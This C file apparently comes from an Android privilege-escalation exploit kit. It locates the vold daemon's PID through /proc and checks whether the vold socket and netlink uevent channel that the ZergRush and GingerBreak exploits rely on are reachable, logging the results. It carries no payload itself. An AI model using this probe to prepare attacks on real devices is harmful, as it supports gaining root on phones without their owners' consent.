vector-exploit/src/ht-android-shellcode/shared_object_eop/jni/test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <linux/netlink.h>
#include <sys/un.h>

#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>

#include <dirent.h>

#include <dlfcn.h>

#include <sys/system_properties.h>
#include "sockets.h"
#include "android_filesystem_config.h"


static struct {
    pid_t pid;
    uint32_t got_start, got_end;
    uint32_t system;
    char *device;
    char found;
  } vold;


static void find_vold()
{
	char buf[2048], *ptr = NULL;
	int i = 0, fd;
	pid_t found = 0;
	FILE *f = NULL;

	vold.found = 0;

	if ((f = fopen("/proc/net/netlink", "r")) == NULL)
	  printf("No files!\n");

	for (;!feof(f);) {
		memset(buf, 0, sizeof(buf));
		if (!fgets(buf, sizeof(buf), f))
			break;
		if ((ptr = strtok(buf, "\t ")) == NULL)
			break;
		if ((ptr = strtok(NULL, "\t ")) == NULL)
			break;
		if ((ptr = strtok(NULL, "\t ")) == NULL)
			break;
		if (!*ptr)
			break;
		i = atoi(ptr);
		if (i <= 1)
			continue;
		sprintf(buf, "/proc/%d/cmdline", i);
		if ((fd = open(buf, O_RDONLY)) < 0)
			continue;
		memset(buf, 0, sizeof(buf));
		read(fd, buf, sizeof(buf) - 1);
		close(fd);
		if (strstr(buf, "/system/bin/vold")) {
			found = i;
			break;
		}
        }
	fclose(f);
	if (!found) {
	  printf("Errreor\n");
	  //	  return;
	}

	vold.pid = found;
	printf("%d vold pid\n",found);
	vold.found = 1;

        return;
}


int main() {
  int sock = -1;
  int n;
  char buf[1000];
  struct sockaddr_nl snl;
  struct iovec iov = {buf, sizeof(buf)};
  struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};

  FILE *f = fopen("test_log", "w");



  find_vold();

  memset(buf, 0, sizeof(buf));
  memset(&snl, 0, sizeof(snl));
  snl.nl_family = AF_NETLINK;

  if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
    fprintf(f, "No ZERGRUSH socket!\n");
  else fprintf(f, "Socket ZERGRUSH OK!\n");


  if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
    fprintf(f, "Unable to create GINGERBREAK socket!\n");

  snl.nl_pid = vold.pid;

  memset(buf, 0, sizeof(buf));
  n = snprintf(buf, sizeof(buf), "test");
  msg.msg_iov->iov_len = n;

  n = sendmsg(sock, &msg, 0);

  if(n <= 0)
    fprintf(f, "Unable to create GINGERBREAK socket! %d\n" ,n);
  else
    fprintf(f, "OK GINGERBREAK socket!\n");


  


}
